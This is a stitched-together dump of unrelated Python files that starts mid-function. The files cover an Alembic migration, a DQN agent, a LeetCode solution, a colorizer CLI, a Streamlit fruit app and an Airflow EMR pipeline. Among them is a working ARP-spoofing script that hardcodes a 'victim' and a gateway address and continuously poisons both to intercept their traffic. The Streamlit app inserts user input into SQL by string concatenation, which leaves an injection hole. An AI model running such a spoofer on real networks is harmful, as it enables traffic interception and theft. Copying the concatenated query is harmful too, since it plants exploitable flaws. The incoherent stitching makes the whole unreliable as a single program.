        name = "oos"
    return name, prob


"""empty message

Revision ID: d837725e47da
Revises:
Create Date: 2020-03-15 14:56:14.798308

"""
from alembic import op
import sqlalchemy as sa

# revision identifiers, used by Alembic.
revision = 'd837725e47da'
down_revision = None
branch_labels = None
depends_on = None

def upgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.create_table('users',
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('username', sa.String(length=45), nullable=True),
    sa.Column('password', sa.String(length=150), nullable=True),
    sa.Column('created_at', sa.DateTime(), server_default=sa.text('(CURRENT_TIMESTAMP)'), nullable=True),
    sa.Column('updated_at', sa.DateTime(), server_default=sa.text('(CURRENT_TIMESTAMP)'), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_table('daily_work_fibers',
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('brick_position', sa.String(length=45), nullable=True),
    sa.Column('rack_position', sa.String(length=45), nullable=True),
    sa.Column('fiber_length', sa.String(length=45), nullable=True),
    sa.Column('users_id', sa.Integer(), nullable=True),
    sa.Column('created_at', sa.DateTime(), server_default=sa.text('(CURRENT_TIMESTAMP)'), nullable=True),
    sa.Column('updated_at', sa.DateTime(), server_default=sa.text('(CURRENT_TIMESTAMP)'), nullable=True),
    sa.ForeignKeyConstraint(['users_id'], ['users.id'], ),
    sa.PrimaryKeyConstraint('id')
    )
    # ### end Alembic commands ###

def downgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_table('daily_work_fibers')
    op.drop_table('users')
    # ### end Alembic commands ###


from config import *
import numpy as np
import cv2
import random
import os
import json
import time
import gym
import tensorflow as tf
from tensorflow.keras.initializers import VarianceScaling
from tensorflow.keras.layers import Add, Conv2D, Dense, Flatten, Input, Lambda, Subtract
from tensorflow.keras.models import Model
from tensorflow.keras.optimizers import Adam, RMSprop

class Agent(object):
    def __init__(self,
                 dqn,
                 target_dqn,
                 replay_buffer,
                 n_actions,
                 input_shape,
                 batch_size,
                 history_length=4,
                 eps_initial=1,
                 eps_final=0.1,
                 eps_final_frame=0.01,
                 eps_evaluation=0.0,
                 eps_annealing_frames=1000000,
                 replay_buffer_start_size=50000,
                 max_frames=25000000):
        self.replay_buffer_start_size = replay_buffer_start_size
        self.n_actions = n_actions
        self.input_shape = input_shape
        self.history_length = history_length
        self.replay_buffer = replay_buffer
        self.max_frames = max_frames
        self.batch_size = batch_size
        self.eps_initial = eps_initial
        self.eps_evaluation = eps_evaluation
        self.eps_final = eps_final
        self.eps_final_frame = eps_final_frame
        self.eps_annealing_frames = eps_annealing_frames
        self.slope = -(self.eps_initial - self.eps_final) / self.eps_annealing_frames
        self.intercept = self.eps_initial - self.slope*self.replay_buffer_start_size
        self.slope_2 = -(self.eps_final - self.eps_final_frame) / (self.max_frames - self.eps_annealing_frames - self.replay_buffer_start_size)
        self.intercept_2 = self.eps_final_frame - self.slope_2*self.max_frames
        self.DQN = dqn
        self.target_dqn = target_dqn

    def calc_epsilon(self, frame_number, evaluation=False):
        if evaluation:
            return self.eps_evaluation
        elif frame_number < self.replay_buffer_start_size:
            return self.eps_initial
        elif frame_number >= self.replay_buffer_start_size and frame_number < self.replay_buffer_start_size + self.eps_annealing_frames:
            return self.slope*frame_number + self.intercept
        elif frame_number >= self.replay_buffer_start_size + self.eps_annealing_frames:
            return self.slope_2*frame_number + self.intercept_2

    def get_action(self, frame_number, state, evaluation=False):
        eps = self.calc_epsilon(frame_number, evaluation)
        if np.random.rand(1) - eps < 0:
            return np.random.randint(0, self.n_actions)
        q_vals = self.DQN.predict(state.reshape((-1, self.input_shape[0], self.input_shape[1], self.history_length)))[0].argmax()
        return q_vals

    def update_target_network(self):
        self.target_dqn.set_weights(self.DQN.get_weights())

    def add_experience(self, action, frame, reward, terminal, clip_reward=True):
        self.replay_buffer.add_experience(action, frame, reward, terminal, clip_reward)

    def learn(self, batch_size, gamma, frame_number, REPLAY_PRIORITY_SCALE=1.0):
        states, actions, rewards, new_states, terminal_flags = self.replay_buffer.get_minibatch(batch_size=self.batch_size, REPLAY_PRIORITY_SCALE=REPLAY_PRIORITY_SCALE)
        arg_q_max = self.DQN.predict(new_states).argmax(axis=1)
        future_q_vals = self.target_dqn.predict(new_states)
        double_q = future_q_vals[range(batch_size), arg_q_max]
        target_q = rewards + (gamma*double_q * (1-terminal_flags))
        with tf.GradientTape() as tape:
            q_values = self.DQN(states)
            one_hot_actions = tf.keras.utils.to_categorical(actions, self.n_actions, dtype=np.float32)
            Q = tf.reduce_sum(tf.multiply(q_values, one_hot_actions), axis=1)
            error = Q - target_q
            loss = tf.keras.losses.Huber()(target_q, Q)
        model_gradients = tape.gradient(loss, self.DQN.trainable_variables)
        self.DQN.optimizer.apply_gradients(zip(model_gradients, self.DQN.trainable_variables))
        return float(loss.numpy()), error

    def save(self, folder_name, **kwargs):
        if not os.path.isdir(folder_name):
            os.makedirs(folder_name)
        self.DQN.save(folder_name + '/dqn.h5')
        self.target_dqn.save(folder_name + '/target_dqn.h5')
        self.replay_buffer.save(folder_name + '/replay-buffer')
        with open(folder_name + '/meta.json', 'w+') as f:
            f.write(json.dumps({**{'buff_count': self.replay_buffer.count, 'buff_curr': self.replay_buffer.current}, **kwargs}))

    def load(self, folder_name, load_replay_buffer=True):
        if not os.path.isdir(folder_name):
            raise ValueError(f'{folder_name} is not a valid directory')
        self.DQN = tf.keras.models.load_model(folder_name + '/dqn.h5')
        self.target_dqn = tf.keras.models.load_model(folder_name + '/target_dqn.h5')
        self.optimizer = self.DQN.optimizer
        if load_replay_buffer:
            self.replay_buffer.load(folder_name + '/replay-buffer')
        with open(folder_name + '/meta.json', 'r') as f:
            meta = json.load(f)
        if load_replay_buffer:
            self.replay_buffer.count = meta['buff_count']
            self.replay_buffer.current = meta['buff_curr']
        del meta['buff_count'], meta['buff_curr']
        return meta


class Solution:
    def findLongestChain(self, pairs: List[List[int]]) -> int:
        length = len(pairs)
        pairs.sort()
        ans = [0]*length

        ans[-1] = 1

        if length > 1:
            if pairs[-1][0] > pairs[-2][1]:
                ans[-2] = 2

        for idx in range(length - 3 , -1 , -1):
            find = False
            for index in range(idx + 1 , length):
                if pairs[index][0] > pairs[idx][1]:
                    find = True
                    ans[idx] = max(ans[idx] , ans[index])
            if find:
                ans[idx] += 1

        return max(ans)


import logging

from interfaces.cmd.Runner import Runner

def run(parsed_arguments):
    log_destination = parsed_arguments.log_destination
    log_level = parsed_arguments.log_level

    # Setup logging in the application.
    logger = logging.getLogger("cmd")
    logger.setLevel(logging.DEBUG)
    formatter = logging.Formatter("%(process)d: %(asctime)s - %(name)s - %(levelname)s - %(message)s")

    file_handler = logging.FileHandler(filename=log_destination + "/cmd.log", encoding="utf-8")
    file_handler.setLevel(log_level)
    file_handler.setFormatter(formatter)

    logger.addHandler(file_handler)

    if not parsed_arguments.config_file:
        raise ValueError("Missing configuration file argument")
    if not parsed_arguments.candidate_file:
        raise ValueError("Missing candidate file argument")
    if not parsed_arguments.ballot_file:
        raise ValueError("Missing ballot file argument")
    if not parsed_arguments.result_file:
        raise ValueError("Missing result file argument")

    runner = Runner(parsed_arguments.config_file,
                    parsed_arguments.candidate_file,
                    parsed_arguments.ballot_file,
                    parsed_arguments.result_file)

    runner.run()


"""Comment object for working with issue tracker comments."""

import re
from issue_tracker.change_tracking_list import ChangeTrackingList
from issue_tracker.utils import parseDateTime

class Comment(object):  # pragma: no cover
  def __init__(self, comment_entry):
    self.author = comment_entry['author']['name']
    self.comment = comment_entry['content']
    self.created = parseDateTime(comment_entry['published'])
    self.id = comment_entry['id']

    if 'updates' in comment_entry and comment_entry['updates']:
      self.cc = ChangeTrackingList(
          [e for e in comment_entry['updates'].get('cc', [])])
      self.labels = ChangeTrackingList(
          [e for e in comment_entry['updates'].get('labels', [])])
      self.owner = comment_entry['updates'].get('owner', None)
      self.status = comment_entry['updates'].get('status', None)
      self.summary = comment_entry['updates'].get('summary', None)

      self.merged_into = [
          e for e in comment_entry['updates'].get('mergedInto', [])]
      self.blocked_on = [
          e for e in comment_entry['updates'].get('blockedOn', [])]
    else:
      self.cc = None
      self.labels = []
      self.owner = None
      self.status = None
      self.summary = None
      self.merged_into = []
      self.blocked_on = []

  def hasLabelContaining(self, regex):
    for label in self.labels:
      if re.search(regex, label, re.DOTALL | re.IGNORECASE):
        return True
    return False

  def getLabelsContaining(self, regex):
    rtn = []
    for label in self.labels:
      if re.search(regex, label, re.DOTALL | re.IGNORECASE):
        rtn.append(label)
    return rtn

  def hasLabelMatching(self, regex):
    return self.hasLabelContaining(regex + '\Z')

  def hasLabel(self, value):
    for label in self.labels:
      if label.lower() == value.lower():
        return True
    return False


from scapy.all import Ether, ARP, srp, send
import argparse
import time
import os
import sys
import uuid

def _enable_linux_iproute():
	"""
	Enables IP route ( IP Forward ) in linux-based distro
	"""
	_FORWARDING = 1
	os.system("sudo sysctl -w net.inet.ip.forwarding={}".format(_FORWARDING))

def _disable_linux_iproute():
	"""
	Disables IP route ( IP Forward ) in linux-based distro
	"""
	_FORWARDING = 0
	os.system("sudo sysctl -w net.inet.ip.forwarding={}".format(_FORWARDING))

def enable_ip_route(verbose=True):
	"""
	Enables IP forwarding
	"""
	if verbose:
		print("[!] Enabling IP Routing...")
	_enable_linux_iproute()
	if verbose:
		print("[!] IP Routing enabled.")

def get_mac(ip):
	"""
	Returns MAC address of any device connected to the network
	If ip is down, returns None instead
	"""
	ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
	if ans:
		return ans[0][1].src

def spoof(target_ip, host_ip, verbose=True):
	"""
	Spoofs 'target_ip' saying that we are 'host_ip'
	it is accomplished by changing the ARP cache of the target (poisoning)
	"""
	# get the mac address of the target
	target_mac = get_mac(target_ip)
	# craft the arp 'is-at' operation packet, in other words; an ARP response
	# we don't specifiy 'hwsrc' (source MAC address)
	# because by default, 'hwsrc' is the real MAC address of the sender (ours)
	arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
	# send the packet
	# verbose = 0 means that we send the packet without printing anything
	send(arp_response, verbose=0)
	if verbose:
		# get the MAC address of the default interface we are using
		self_mac = ARP().hwsrc
		print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

def restore(target_ip, host_ip, verbose=True):
	"""
	Restores the normal process of a regular network
	This is done by sending the original informations
	(real IP and MAC of 'host_ip' ) to 'target_ip'
	"""
	# get the real MAC address of target
	target_mac = get_mac(target_ip)
	# get the real MAC address of spoofed (gateway, i.e router)
	host_mac = get_mac(host_ip)
	# crafting the restoring packet
	arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
	# sending the restoring packet
	# to restore the network to its normal process
	# we send each reply seven times for a good measure (count=7)
	send(arp_response, verbose=0, count=7)
	if verbose:
		print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

if __name__ == '__main__':
	# victim ip address
	target = "10.0.1.17"
	# gateawy ip address
	host = "10.0.1.1"
	# print progress to the screen
	verbose = True
	# enable ip forwarding
	enable_ip_route()

	try:
		while True:
			# telling the 'target' that we are the 'host'
			spoof(target, host, verbose)
			# telling the 'host' that we are the 'target'
			spoof(host, target, verbose)
			# sleep for one second
			time.sleep(1)
	except KeyboardInterrupt:
		print("[!] Detected CTRL+C ! restoring the network, please wait...")
		restore(target, host)
		restore(host, target)

def get_mac_address():
	import uuid
	# after each 2 digits, join elements of getnode().
	print ("The formatted MAC address is : ", end="")
	print (':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff)
	for elements in range(0,2*6,2)][::-1]))

	return ':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff)
	for elements in range(0,2*6,2)][::-1])

def sendPackets(gateway_ip, target_ip, this_mac_address, target_mac_address):
	arp = ARP()
	arp.psrc = gateway_ip
	arp.hwsrc = this_mac_address

	arp = arp
	arp.pdst = target_ip # (say IP address of target machine)
	arp.hwdst = target_mac_address # target mac

	ether = Ether()
	ether.src = this_mac_address
	ether.dst = target_mac_address

	arp.op = 2

	def broadcast():
		packet = ether / arp
		sendp(x=packet, verbose=True)

	broadcast()


from fpdf import FPDF
import webbrowser as wb

def createPDF(infoSong, song, artist):
    pdf = FPDF()
    pdf.add_page()

    #Title
    pdf.set_font('Arial', 'B', 22)
    title_text = song
    title_text1 = artist
    pdf.cell(180, 10, title_text,0,1,'C')
    pdf.cell(180, 10, title_text1, 0,1, 'C')

    #Image
    pdf.ln(h = 10)
    pdf.image('../pipelines-project/Input/iTunes.png', 10, 8, 33)

    #Body
    pdf.ln(h = 10)
    pdf.set_font('Arial','', 12)
    text = infoSong
    pdf.multi_cell(190.0, 10.0, text, 'J', False)

    #Generate PDF
    pdf.output('../pipelines-project/Output/music.pdf', 'F')
    return wb.open_new('../pipelines-project/Output/music.pdf')


#!/usr/bin/env python
'''
Raffaello is a powerful, yet simple to use, output colorizer.

Usage: raffaello (-r REQUEST | -f FILE | -l) [options]

    -r REQUEST --request=REQUEST            The requested text/color mapping string. Multipe requests are separated by a space. Regular expression are supported. E.g. "error=>red [Ww]arning=>yellow_bold".
    -f FILE --file=FILE                     Path to the custom text=>color configuration file.
    -m, --match-only                        Print only the lines that match against some defined pattern.
    -d DELIMITER --delimiter=DELIMITER      If you don't like "=>" as delimiter between text and color, use this flag to change it. E.g. -d & [default: =>]
    -l, --list                              List all the available colors and presets
    -v --verbose                            Enable debug logging
'''

import os
import sys
import re
import signal
import logging
from docopt import docopt
from paint import Terminal256Palette, brush_stroke

logging.basicConfig(level=logging.INFO, format='%(message)s')
LOG = logging.getLogger(__name__)

class Raffaello(object):
    '''Highlight words according to given request'''

    def __init__(self, commission, match_only=False):
        self.commission = commission
        self.match_only = match_only

    def paint(self, line):
        '''
        Highlight patterns in line according to the given
        pattern-to-color dictionary
        '''
        copy = line.rstrip()
        has_changed = False
        for step in self.commission:
            pattern, brush = step

            try:
                matches = re.findall(pattern, line)

                if matches:
                    LOG.debug('matches of %s in: %s', pattern, line)
                    has_changed = True
                    copy = brush_stroke(copy, matches, brush)
            except re.error as error:
                LOG.error('Error in line %s: %s', line, error)
                continue

        if not has_changed and self.match_only:
            return None

        return copy

    def start(self):
        ''' Run raffaello as a command-line utility '''

        while True:
            try:
                line = self.paint(input())

                if line:
                    print(line)

            except KeyboardInterrupt:
                break

            except EOFError:
                LOG.debug("EOF reached. Nothing else to do")

                break

        LOG.debug("End of stream")
        sys.exit(os.EX_OK)

def get_color_file_path(filepath):
    '''Returns the full path of the color file'''

    root = os.path.abspath(os.path.dirname(__file__))
    home = os.path.expanduser(os.path.join('~', '.raffaello'))

    locations = [
        os.path.expanduser(filepath),
        os.path.join(root, 'presets', filepath),
        os.path.join(home, filepath)]

    for location in locations:
        if os.path.exists(location):
            return location

    LOG.fatal('could not find color file "%s"', filepath)

    return None

def read_request_from_file(path):
    ''' Get Pattern/Color pairs from configuration file '''

    LOG.debug('Reading config file %s', path)
    config = map(lambda x: x.strip(), open(path).readlines())
    request = list()

    for line in filter(lambda x: x and x[0] != '#', config):
        if line.startswith('include '):
            nested_config_file = line.split()[1]
            LOG.debug('including color file "%s"', nested_config_file)

            fullpath = get_color_file_path(nested_config_file)

            if not fullpath:
                LOG.error('could not find nested color file %s at %s',
                          nested_config_file, fullpath)

                continue

            request.extend(read_request_from_file(fullpath))

            continue

        request.append(line)

    return request

def parse_string_request(request, delimiter='=>'):
    '''Parse request string and return a list of pattern-to-color maps'''
    requests = request.splitlines()

    if len(requests) == 1:
        requests = request.split(' ')

    return parse_request(requests, delimiter)

def parse_request(requests, delimiter='=>'):
    '''Parse requests list and return a list of pattern-to-color maps'''
    commission = list()

    palette = Terminal256Palette()
    for req in filter(lambda x: x and len(x), requests):
        try:
            pattern, color = req.split(delimiter)
        except ValueError as err:
            if len(re.findall(delimiter, req)) > 1:
                LOG.error('could not parse request "%s": Too many delimiters (%s) in request', req, delimiter)
            else:
                LOG.error("could not parse request '%s'. %s", req, err)

            sys.exit(os.EX_DATAERR)

        if color not in palette:
            LOG.error('Color "%s" does not exist', color)
            sys.exit(os.EX_DATAERR)

        item = [r'%s' % pattern, palette[color]]
        LOG.debug('adding "%s"', item)
        commission.append(item)

    LOG.debug('commission is %s', commission)
    return commission

def show_colors():
    '''Show available colors and usage'''
    palette = Terminal256Palette()
    print('''
    8 bit color palette
    -------------------

        * Foreground color names are in the form 'colorNUM'. E.g. foreground red is %s
        * Background color names are in the form 'bgcolorNUM'. E.g. background red is %s

    For terminals that support 8 colors only, you can still use the following names:
        black, red, green, yellow, blue, magenta, cyan, light_gray

    Colors might have 2 styles (when supported by the terminal) and the name
    is in the form 'colorNUM_<style>':
        * Bold style: foreground red bold is %s
        * Underlined style: foreground red underlined is %s

    Following the full list of color NUMs
    ''' % (
        brush_stroke('color001', ['color001'], palette['color001']),
        brush_stroke('bgcolor001', ['bgcolor001'], palette['bgcolor001']),
        brush_stroke('color001_bold', ['color001_bold'], palette['color001_bold']),
        brush_stroke('color001_underlined', ['color001_underlined'], palette['color001_underlined'])
    ))

    color_names = list(palette.keys())
    color_names.sort()
    col = 10

    for color in filter(lambda x: '_' not in x, color_names):
        if color.startswith('bg'):
            color_num = re.match(r'bgcolor(\d+)', color).group(1)
            out = ' %s: %s' % (color_num, brush_stroke('   ', ['   '], palette[color]))
            sys.stdout.write(out)
            sys.stdout.flush()

            col -= 1

            if col == 0:
                col = 10
                print('')
    print('')

def show_presets():
    '''Preset help message'''
    print('''
          Presets
          -------

          A preset is a file containing a list of text=>color pairs for
          a specific output stream.
          Custom presets can be used using the --file directive providing
          the full path to the file or ony the relative path of it if it is
          stored in $HOME/.raffaello folder.
          Custom presets can reuse the built-in presets using the "include"
          directive
          E.g.

            include errors
            include custom-preset
            ...
          ''')

def main():
    '''Entry point'''

    # Catch CTRL_C to let the program quit smoothly
    signal.signal(signal.SIGPIPE, signal.SIG_DFL)

    # Parse command line arguments
    conf = docopt(__doc__)

    if conf['--list']:
        show_colors()
        show_presets()

        return

    if conf['--verbose']:
        LOG.setLevel(logging.DEBUG)

    request = conf['--request']
    color_file = conf['--file']

    if request:
        commission = parse_string_request(request, conf['--delimiter'])

    elif color_file:
        fullpath = get_color_file_path(color_file)

        if not fullpath:
            LOG.fatal('%s file not found', color_file)
            sys.exit(os.EX_CONFIG)

        request = read_request_from_file(fullpath)
        commission = parse_request(request, conf['--delimiter'])

    else:
        LOG.fatal('You are expected to give a color request')
        sys.exit(os.EX_CONFIG)

    raffaello = Raffaello(commission=commission, match_only=conf['--match-only'])
    sys.exit(raffaello.start())

if __name__ == '__main__':
    main()


import igraph
import os
import subprocess
from circulo.utils import snap

def clique_percolation(G, data_prefix='snap_'):

    '''
    Parameters
    -----------
    G:                  An iGraph or edge list file
    '''

    snap_home, graph_file = snap.setup(G)

    if graph_file is None:
        return

    path_cpm = os.path.join(snap_home, "examples", "cliques", "cliquesmain")

    try:
        FNULL = open(os.devnull, 'w')
        out = subprocess.Popen([path_cpm,"-o:"+data_prefix,"-i:"+graph_file], stdout=FNULL).wait()

    except TypeError as e:
        print("Error occurred: {}".format(e))
        return

    os.remove(graph_file)

    return snap.read_communities_by_community("cpm-" + data_prefix + ".txt", G, delete_file=True)

def main():

    G = igraph.load('/Users/ytesfaye/tmp/GRAPHS/flights.graphml')
    #snap_home, filename = setup(G)

    vc = cesna(G)
    print(vc)

if __name__ == "__main__":
    main()


import torch
from torchvision import transforms
from PIL import Image
import numpy as np
from models import Unet
import argparse
import os

TRANSFORM = transforms.Compose([
    transforms.Resize(256),
    transforms.ToTensor(),
    transforms.Normalize(
        [0.5, 0.5, 0.5],
        [0.5, 0.5, 0.5])
])

def get_arguments():
    parser = argparse.ArgumentParser()

    parser.add_argument('--src', required=True, type=str,
        help='Path to the source image')
    parser.add_argument('--dest', required=False, type=str,
        default='./Results', help='Path to the destination folder')
    parser.add_argument('--ckpth', required=False, type=str,
        default='./checkpoints', help='Path to the Generator checkpoint')

    arguments = parser.parse_args()
    return arguments

def load_image(path):
    image = Image.open(path).convert('RGB')
    image = TRANSFORM(image)[:3, :, :].unsqueeze(0)
    _, name = os.path.split(path)
    return image, name

def convert_save(path, name, ckpth, image):
    model = Unet()
    model.load_state_dict(torch.load(os.path.join(ckpth, 'Generator.pth')))

    output_image = model(image).squeeze(0).detach().numpy()
    output_image = np.moveaxis(output_image, 0, 2)
    output_image = output_image * np.array((0.5, 0.5, 0.5)) + \
        np.array((0.5, 0.5, 0.5))
    output_image = np.clip(output_image, 0, 1)
    output_image = Image.fromarray(np.uint8(output_image * 255))
    output_image.save(os.path.join(path, name))

def main():
    arguments = get_arguments()
    image, name = load_image(arguments.src)
    convert_save(arguments.dest, name, arguments.ckpth, image)

if __name__ == "__main__":
    main()


import streamlit
import pandas
import requests
import snowflake.connector
from urllib.error import URLError

# https://idair-first-streamlit-app-streamlit-app-l8ibwu.streamlit.app/

streamlit.title("My Mom's New Healthy Diner")
streamlit.header('Breakfast Menu')
streamlit.text('🥣Omega 3 & Blueberry Oatmeal')
streamlit.text('🥗 Kale, Spinach & Rocket Smoothie')
streamlit.text('🐔 Hard-Boiled Free-Range Egg')
streamlit.text('🥑🍞 Avacado Toast')

streamlit.header('🍌🥭 Build Your Own Fruit Smoothie 🥝🍇')
my_fruit_list = pandas.read_csv("https://uni-lab-files.s3.us-west-2.amazonaws.com/dabw/fruit_macros.txt")

my_fruit_list = my_fruit_list.set_index('Fruit')

# Let's put a pick list here so they can pick the fruit they want to include
fruits_selected = streamlit.multiselect("Pick some fruits:", list(my_fruit_list.index),['Grapes'])

# Display the table on the page.
# streamlit.dataframe(my_fruit_list)

fruits_to_show = my_fruit_list.loc[fruits_selected]

# Display the selected fruits table on the page.
streamlit.dataframe(fruits_to_show)

#API Call
#--------------------------------------------------------------

streamlit.header("Fruityvice Fruit Advice!")
try:
  #Allow user to enter fruit name, capture entry and pass to API
  fruit_choice = streamlit.text_input('What fruit would you like information about?')
  if not fruit_choice:
    streamlit.write('Please select a fruit for information.')
  else:
    streamlit.write('The user entered ', fruit_choice)
    fruityvice_response = requests.get("https://fruityvice.com/api/fruit/" + fruit_choice)
    # Normalize the data
    fruityvice_normalized = pandas.json_normalize(fruityvice_response.json())
    # display data in a table
    streamlit.dataframe(fruityvice_normalized)
except URLError as e:
    streamlit.error()

#https://docs.google.com/spreadsheets/d/1hLBv0pO1qpeMtUncE8Yv1NSdqaDrY9CqmXoP5b9313s/edit?resourcekey#gid=663712744

#-----------------------------------------------------------------------------------------------------------------------
# ---------------------------------------------------Snowflake connection ----------------------------------------------
#-----------------------------------------------------------------------------------------------------------------------
#my_cur.execute("SELECT CURRENT_USER(), CURRENT_ACCOUNT(), CURRENT_REGION()")
#streamlit.text("Hello from Snowflake:")
#streamlit.text(my_data_row)

streamlit.title("View our fruit list - add your Favorites!")
streamlit.header("Fruit Load List Contains:")

def get_fruit_load_list():
  with my_cnx.cursor() as my_cur:
    my_cur.execute("select * from fruit_load_list")
    return my_cur.fetchall()  #Fetch all rows not just one

#Add a button to load the fruit
if streamlit.button('Get fruit list'):
  my_cnx = snowflake.connector.connect(**streamlit.secrets["snowflake"])
  my_data_rows = get_fruit_load_list()
  my_cnx.close()
  streamlit.dataframe(my_data_rows)

#-----------------------------------------------------------------------------------------------------------------------
#Allow user to enter fruit name, capture entry and pass to API
#-----------------------------------------------------------------------------------------------------------------------
def insert_row_snowflake(new_fruit):
  with my_cnx.cursor() as my_cur:
    my_cur.execute("insert into pc_rivery_db.public.fruit_load_list values ('" + new_fruit +"')")
    return 'Thanks for adding ' + new_fruit

add_fruit_choice = streamlit.text_input('What fruit would you like to add?')
if streamlit.button('Add a fruit to list'):
  my_cnx = snowflake.connector.connect(**streamlit.secrets["snowflake"])
  function_return_val = insert_row_snowflake(add_fruit_choice)
  my_cnx.close()
  streamlit.text(function_return_val)


from datetime import datetime, timedelta

from airflow import DAG
from airflow.contrib.operators.emr_add_steps_operator import EmrAddStepsOperator
from airflow.contrib.operators.emr_terminate_job_flow_operator import (
    EmrTerminateJobFlowOperator,
)
from airflow.contrib.sensors.emr_job_flow_sensor import EmrJobFlowSensor
from airflow.contrib.sensors.emr_step_sensor import EmrStepSensor
from airflow.operators import PythonOperator
from airflow.operators.dummy_operator import DummyOperator

from common import *
from operators.emr_get_or_create_job_flow_operator import EmrGetOrCreateJobFlowOperator

# Next variable is created for testing purposes
terminate_cluster = False

EMR_CREDENTIALS_CONN_ID = Variable.get("emr_credentials_conn_id", "emr_credentials")
EMR_LOG_URI = Variable.get("emr_log_uri", "")

AWS_REGION = Variable.get("aws_region", "us-west-2")
DAG_NAME = os.path.basename(__file__).replace('.py', '')

# Configurations
LOCAL_SCRIPT_PATH = f"{CURRENT_PATH}/scripts/etl.py"
S3_SCRIPT_KEY = "scripts/etl.py"

SPARK_STEPS = [
    {
        "Name": "Yelp ETL",
        "ActionOnFailure": "CANCEL_AND_WAIT",
        "HadoopJarStep": {
            "Jar": "command-runner.jar",
            "Args": [
                "spark-submit",
                "--deploy-mode",
                "client",
                "s3://{{ params.s3_bucket }}/{{ params.s3_script }}",
                "--check-ins-input-path", "s3://{{ params.s3_bucket }}/{{params.raw_check_in_data_key}}",
                "--check-ins-output-path", "s3://{{ params.s3_bucket }}/{{params.processed_check_in_data_key}}",
                "--users-input-path", "s3://{{ params.s3_bucket }}/{{ params.raw_user_data_key }}",
                "--friends-output-path", "s3://{{ params.s3_bucket }}/{{ params.processed_friend_data_key }}",
            ],
        },
    },
]

JOB_FLOW_OVERRIDES = {
    "Name": "My cluster",
    "ReleaseLabel": "emr-6.5.0",
    "LogUri": f"{EMR_LOG_URI}",
    "Applications": [{"Name": "Hadoop"}, {"Name": "Spark"}],
    "Configurations": [
        {
            "Classification": "spark-env",
            "Configurations": [{
                "Classification": "export",
                "Properties": {
                    "PYSPARK_PYTHON": "/usr/bin/python3"
                }
            }],
            "Properties": {}
        }
    ],
    "Instances": {
        "InstanceGroups": [
            {
                "Name": "Master node",
                "Market": "ON_DEMAND",
                "InstanceRole": "MASTER",
                "InstanceType": "c6g.2xlarge",
                "InstanceCount": 1
            }
        ],
        "KeepJobFlowAliveWhenNoSteps": True,
        "TerminationProtected": False
    },
    "JobFlowRole": "EMR_EC2_DefaultRole",
    "ServiceRole": "EMR_DefaultRole"
}

default_args = {
    'owner': 'Roman Lukash',
    'depends_on_past': False,
    'start_date': datetime(2018, 11, 1),
    # 'retries': 5,
    # 'retry_delay': timedelta(minutes=2),
    'email_on_retry': False,
}

def create_subdag(parent_dag_name: str, child_dag_name, args):
    with DAG(
            dag_id='{0}.{1}'.format(parent_dag_name, child_dag_name),
            description='Load and transform data using spark',
            default_args=args,
            catchup=False,
            schedule_interval=None,
            # max_active_runs=1
    ) as dag:
        start_data_pipeline = DummyOperator(task_id="start_data_pipeline", dag=dag)

        script_to_s3 = PythonOperator(
            dag=dag,
            task_id="copy_script_to_s3",
            python_callable=copy_local_to_s3,
            op_kwargs={"filename": LOCAL_SCRIPT_PATH, "key": S3_SCRIPT_KEY, },
        )

        # Create an EMR cluster
        get_or_create_emr_cluster_task_id = "get_or_create_emr_cluster"
        get_or_create_emr_cluster = EmrGetOrCreateJobFlowOperator(
            task_id=get_or_create_emr_cluster_task_id,
            job_flow_overrides=JOB_FLOW_OVERRIDES,
            aws_conn_id=AWS_CREDENTIALS_CONN_ID,
            emr_conn_id=EMR_CREDENTIALS_CONN_ID,
            dag=dag,
            region_name=AWS_REGION,
        )

        # Copied from https://github.com/aws-samples/emr-studio-samples/blob/main/airflow_dag_for_execution/simple_dag.py
        class CustomEmrJobFlowSensor(EmrJobFlowSensor):
            """
            Asks for the state of the JobFlow until it reaches WAITING/RUNNING state.
            If it fails the sensor errors, failing the task.
            :param job_flow_id: job_flow_id to check the state of
            :type job_flow_id: str
            """
            NON_TERMINAL_STATES = ['STARTING', 'BOOTSTRAPPING', 'TERMINATING']

        job_flow_id = f"{{{{ task_instance.xcom_pull(task_ids='{get_or_create_emr_cluster_task_id}', key='return_value') }}}}"

        wait_for_cluster_to_start = CustomEmrJobFlowSensor(
            task_id="wait_for_cluster_to_start",
            job_flow_id=job_flow_id,
            dag=dag,
            aws_conn_id=AWS_CREDENTIALS_CONN_ID,
        )

        step_adder = EmrAddStepsOperator(
            task_id="add_steps",
            job_flow_id=job_flow_id,
            aws_conn_id=AWS_CREDENTIALS_CONN_ID,
            steps=SPARK_STEPS,
            params={
                "s3_bucket": S3_BUCKET,
                "raw_check_in_data_key": RAW_CHECK_IN_DATA_KEY,
                "processed_check_in_data_key": PROCESSED_CHECK_IN_DATA_S3_KEY,
                "raw_user_data_key": RAW_USERS_DATA_KEY,
                "processed_friend_data_key": PROCESSED_FRIEND_DATA_S3_KEY,
                "s3_script": S3_SCRIPT_KEY,
            },
            dag=dag,
        )

        last_step = len(SPARK_STEPS) - 1

        wait_for_step_to_complete = EmrStepSensor(
            task_id="wait_for_step_to_complete",
            job_flow_id=job_flow_id,
            step_id=f"{{{{ task_instance.xcom_pull(task_ids='add_steps', key='return_value')[{last_step}] }}}}",
            aws_conn_id=AWS_CREDENTIALS_CONN_ID,
            dag=dag,
        )

        end_data_pipeline = DummyOperator(task_id="end_data_pipeline", dag=dag)

        start_data_pipeline >> script_to_s3 >> get_or_create_emr_cluster >> wait_for_cluster_to_start
        wait_for_cluster_to_start >> step_adder >> wait_for_step_to_complete
        if terminate_cluster:

            terminate_emr_cluster = EmrTerminateJobFlowOperator(
                task_id="terminate_emr_cluster",
                job_flow_id=job_flow_id,
                aws_conn_id=AWS_CREDENTIALS_CONN_ID,
                dag=dag,
                trigger_rule="all_done"
            )
